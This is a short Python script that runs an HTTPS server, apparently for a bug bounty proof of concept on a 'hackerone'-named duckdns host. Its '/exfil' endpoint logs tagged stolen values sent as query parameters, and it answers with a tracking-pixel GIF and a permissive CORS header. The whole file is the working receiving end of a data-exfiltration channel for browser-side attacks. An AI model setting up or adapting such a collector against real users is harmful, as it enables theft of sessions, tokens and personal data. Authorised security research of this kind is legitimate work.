#!/usr/bin/env python3
import http.server, ssl, datetime, urllib.parse, os, sys

PORT = 443
CERT = "/etc/letsencrypt/live/oppo-hackerone.duckdns.org/fullchain.pem"
KEY  = "/etc/letsencrypt/live/oppo-hackerone.duckdns.org/privkey.pem"
LOG  = os.path.join(os.path.dirname(os.path.abspath(__file__)), "exfil_capture.log")
GIF  = bytes.fromhex("47494638396101000100800000ffffff00000021f90401000000002c00000000010001000002024401003b")

def stamp():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]

class H(http.server.SimpleHTTPRequestHandler):
    def log_message(self, fmt, *args):
        line = "[%s] %s - %s" % (stamp(), self.client_address[0], fmt % args)
        sys.stderr.write(line + "\n")
        with open(LOG, "a") as f:
            f.write(line + "\n")

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        if parsed.path == "/exfil":
            qs = urllib.parse.parse_qs(parsed.query)
            tag = qs.get("tag", [""])[0]
            val = qs.get("v", [""])[0]
            rec = "[%s] EXFIL  %-45s = %s" % (stamp(), tag, val)
            sys.stderr.write(rec + "\n")
            with open(LOG, "a") as f:
                f.write(rec + "\n")
            self.send_response(200)
            self.send_header("Content-Type", "image/gif")
            self.send_header("Content-Length", str(len(GIF)))
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(GIF)
            return
        return super().do_GET()

os.chdir(os.path.dirname(os.path.abspath(__file__)))
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(CERT, KEY)

server = http.server.ThreadingHTTPServer(("0.0.0.0", PORT), H)
server.socket = ctx.wrap_socket(server.socket, server_side=True)
sys.stderr.write("[%s] HTTPS exfil server on :%d, serving %s\n" % (stamp(), PORT, os.getcwd()))
server.serve_forever()
